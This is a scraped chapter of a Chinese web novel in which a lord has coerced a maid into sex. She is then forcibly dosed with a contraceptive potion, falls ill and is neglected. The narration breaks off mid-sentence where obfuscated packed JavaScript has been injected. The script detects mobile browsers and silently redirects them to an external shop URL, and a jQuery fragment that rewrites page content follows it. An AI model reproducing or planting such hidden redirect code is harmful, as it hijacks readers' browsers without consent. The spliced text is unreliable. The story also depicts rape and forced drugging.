默认冷灰
24号文字
方正启体

11. 病与不见

作者:相吾本书字数:K更新时间:
    水没过胸膛,萧延呼出浑浊的气息。


    离开了那张床,欲念得到纾解,萧延得以冷静地思考过去那个混乱的夜晚。


    尚未有嫡长子便收了个通房丫鬟确实是他的过错,但这错误尚能弥补,只需给席逐月灌避子药,不让她在正妻前头生孩子,就不怕乱了嫡庶尊卑秩序。


    萧延不必担心,他只是不太满意素来引以为傲的自制力在席逐月面前,竟然轻易就被瓦解了。


    他虽不近女色,却也遍览群芳,多少国色天香的美人向他暗送秋波,萧延尚能不为所动,如今却因一小小婢女的勾引失了控,于他来说,未尝没有割地献城的挫败与耻辱。


    失控一次便足够了。


    只他到底要了席逐月,一个通房丫鬟的名分还是要给她的,但也仅限于此了。除此之外,便不该再有了。


    水渐渐凉了,萧延心里有了安排,便起身出浴更衣。


    床上被褥狼藉,屋内到处充斥着难以形容的味道,但席逐月已不见了人影。


    罢了,他正好懒得与哭哭啼啼的席逐月多费口舌,他便只唤来常青,吩咐她务必看着席逐月喝下避子药。


    *


    从前席逐月在雪刀院是没有屋子的,如今她伺候了萧延一回,倒是终于想起该给她分个住处了,是一间两人共住的厢房,与在朝露院里的下人房没什么不同。


    常青端着碗黑漆漆的药站到她面前,用一副鄙夷不屑,又像是在看好戏的目光居高临下地审视她。


    她没与席逐月说过一句话,直接唤来两个婢女压着她,强行将那药灌了下去。


    席逐月不知道这是什么药,挣扎着不肯喝,常青恶狠狠道:“就凭你还想怀上君侯的孩子?你也配?”


    席逐月这才反应过来这应该是避子药,听说古代的避子药是很伤身的,但昨夜萧延不知灌进去几回,她曲起双腿跪着时,还隐隐有往下流坠的趋势,竟然这么满,她怕极了会怀孕,自然不会挣扎,哪怕这药再苦,她也努力地全部喝完。


    常青看着空碗,方才有几分满意:“算你识相。”


    她又取来四套婢女常服,讥笑道:“喏,这是君侯吩咐给你的衣裳。真是可怜,费尽心思爬上君侯的床,也只是做了个通房,说到底,还不是跟我们似的,就是个婢女。”


    席逐月喝了碗苦药,胃里正难受反胃,听到常青这话,更觉胸闷气短,有些喘不上气,她分不清是因为萧延带给她的侮辱,还是常青对这件事的看法让她心寒不已。


    她认真地纠正常青的说法:“我没有勾引君侯,是他强行要了我,我是受害者。”


    常青尖声道:“宝珠,你要点脸!”


    她气愤至极,就好像席逐月的话不仅侮辱了萧延,还切实侮辱了她,席逐月被她的反应惊住了,有半晌没想起来说话。


    常青仍不觉解恨,警告她:“收起你昨日的猖狂样,摆正自己的位置,好好当个通房,或许等日后公主进了府,还能允你生个一儿半女。”


    昨日席逐月通过暗示颇受宠爱,叫二门的婆子额外开恩,把她放出去医好了手,差点让常青跟着受罚,今日见席逐月沦落为通房丫鬟,自然不会错过这个机会,狠狠地奚落她一番。


    席逐月没再回嘴,她只是看了常青一眼,那一眼复杂得很,让常青看不懂,却真真切切地感受到了席逐月对她的怜悯。


    那种怜悯,来得莫名其妙,常青理解不了,却不耽误让她恼火,她出去后特意吩咐人今日不准席逐月吃饭。


    通房丫鬟说到底还是个丫鬟,只是除了白日干活外,还多了个晚上暖床的活,地位不变,当然还要受常青辖制。


    席逐月管不上这个了,她现在真的累得眼皮都快抬不起了,只想倒头休息。


    这一睡不知道过去了多久,只听得屋内砰地一声,不知是什么砸到了什么,才能发出这般大的声音,但确实将席逐月从熟睡中砸醒。


    她睁开眼,就见公用的桌子边上坐着的陌生的婢女,用很看不惯的语气道:“才伺候了君侯一回,连个姨娘还没挣上就摆起谱来,太阳晒到屁股,还能在床上睡得那么踏实,把活都丢给我们做。”


    如果常青在这儿,便能认出这就是特意来跟她打听席逐月的那个婢女,名唤常红。


    常红这婢女倒是没什么歪心思,她做了君侯的奴婢,便想做君侯一辈子的奴婢,往日最争强好胜的心就是当个一等婢女,知道席逐月做了通房丫鬟也没生出什么羡慕嫉妒的心,她单纯就是不满席逐月自持身份,拿乔不肯干活。


    但当席逐月吃力地从床上坐起,看到她酡红的脸颊和惨白的唇色,常红心里的怒气就没了,她大吃一惊:“你病了?怎么不说一声?莫不是风寒,要传染人?”


    席逐月开口,嗓子哑得惊人:“我身上发软,没力气。”


    常红不好跟病人生气,听她说话这般嘶哑,还顺手给她倒了盏茶:“润润嗓子,待我回过常青,让她给你请疾医。”


    席逐月渴得很,看到茶水就挪不开眼,来不及回常红,咕嘟咕嘟一口气喝完了茶,才想请常红帮她再倒一碗,抬起眼时,常红已经走了。


    席逐月叹了口气,尽管嗓子还是很干渴,但浑身无力,只好暂时忍着,继续睡下。


    常青再看不惯席逐月,席逐月到底是君侯的婢女,不敢怠慢,给她请了个疾医,特意嘱咐:“后罩房里住着一院子的丫鬟,若是这病要传人,可要直说,趁早让我们将她挪出去。”


    那疾医是小厮随便从街边的医馆里寻的,因不是给家人看病,也没自己探听过医术,不知他的本事也就只能开万能的小柴胡方剂。


    不过虽然他捏着胡子摇头摆尾一通,倒是糊弄住了一干丫鬟,但他对自己的医术到底有几斤几两还是很清楚的,有幸被请进君侯府看诊——虽然只是给个丫鬟看诊,他也不敢怠慢,唯恐这次又看错病,开错了方,医坏了人,为求妥善,还是与常青建议将席逐月挪出去。


    席逐月就这样莫名其妙地去了西南方的偏院,用具一应都是缺的,也没给她安排伺候的人,常青只把炉子和药扔给她,看样子连药都要她自己拖着病体熬了。


    要不说古代人命比草贱呢。


    席逐月想起从前病了,爹妈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241146|197738||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    总是无微不至地照顾她,变着法子给她做好吃的,偏偏她还娇气,嫌药苦,不肯乖乖吃,总要妈妈哄着她答应陪她睡,她才肯含泪吃下。


    哪知如今,她想吃药,轻易还吃不上。


    席逐月捏着扇子,忍着呛嗓子的烟,扇好不容易生起的火,她盯着炉子里的火苗,默默祈祷这药能熬得顺利。


    再不喝点药,她感觉快要病死了。


    *


    今日萧延公务处理得晚,拖得公孙青也不能回去喝酒,苦哈哈地陪着他批阅公文,一直熬到亥时终于熬不住了,摸着肚子直嚷饿了,说什么都不肯干。


    萧延想了想,吩咐常山去叫一桌席面。


    公孙青震惊:“你叫席面到公署吃?这都快到子时了,怎么,今夜你不打算回府了?”


    萧延头也不抬,继续沉浸在公务里:“没什么好回的。”


    公孙青看着他那快腌入味的孤家寡人味,哼哼道:“也对,你屋里连个等你回去的小女娘都没有,确实没什么意思。”


    萧延顿了顿,在笔尖洇开墨前,他已经若无其事地下笔了,快到就连在旁一直看着他的公孙青都没有发现异样。


    席面很快送来,公孙青确实饿了,吃得风残云卷,很快大半的菜都进了他肚子。


    萧延道:“吃完了就回去。”


    公孙青这下连饭都不吃了,漱口后,脚底抹油跑了,生怕慢一步还要被萧延留下来干活。


    萧延摇摇头,他用完了膳,便去特意为他准备的值房歇息。值房虽小,但用具一应俱全,就算只是供他小憩,但里面的床也是专为他打的架子床,柔软舒适。


    萧延是真没觉得这儿与雪刀院有什么区别,事实上在最需要宵衣旰食的那段时间,他直接将这儿当作了家,对君侯府真正做到了三过家门而不入。


    但今日躺在这张睡惯了的床上,忙碌了一日的萧延却罕见地没有睡着,眼前晃来晃去都是公孙青那张笑得贱兮兮的嘴脸,嘲笑没有小女娘等他回去。


    胡说,明明席逐月……但正因为是席逐月,萧延才不确定她会不会与一般盼夫归的女郎般盼着他。


    他总以为席逐月会如此,毕竟他已是她的男人,可约略参考席逐月素日那跳脱,不符常理的性格,萧延便有些不确定了。


    萧延想了想,唤来常山:“去为我取套换洗的衣裳。”


    其实值房里备着他的四季衣裳,根本不必特意回府取,常山替萧延做惯了事,自然要思考这事后的深意。


    可惜,他没想明白,萧延从未有过这等先例,他也不可能想明白,于是常山回了萧府便只取了套衣裳。


    萧延没看那套衣裳,只问:“谁给你的衣裳?”


    常山道:“回君侯,是常青。”


    没提别人。


    席逐月既为通房丫鬟,自然需要在雪刀院时时等着侍奉他,便是他不在时,也需要打理正屋,如何连脸都没露,取个衣裳还需要常青出面。


    萧延的脸便黑了下来,他对那套常山特意赶回去取来的衣裳更提不起兴趣,随意丢在一旁,就挥手让常山退下了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)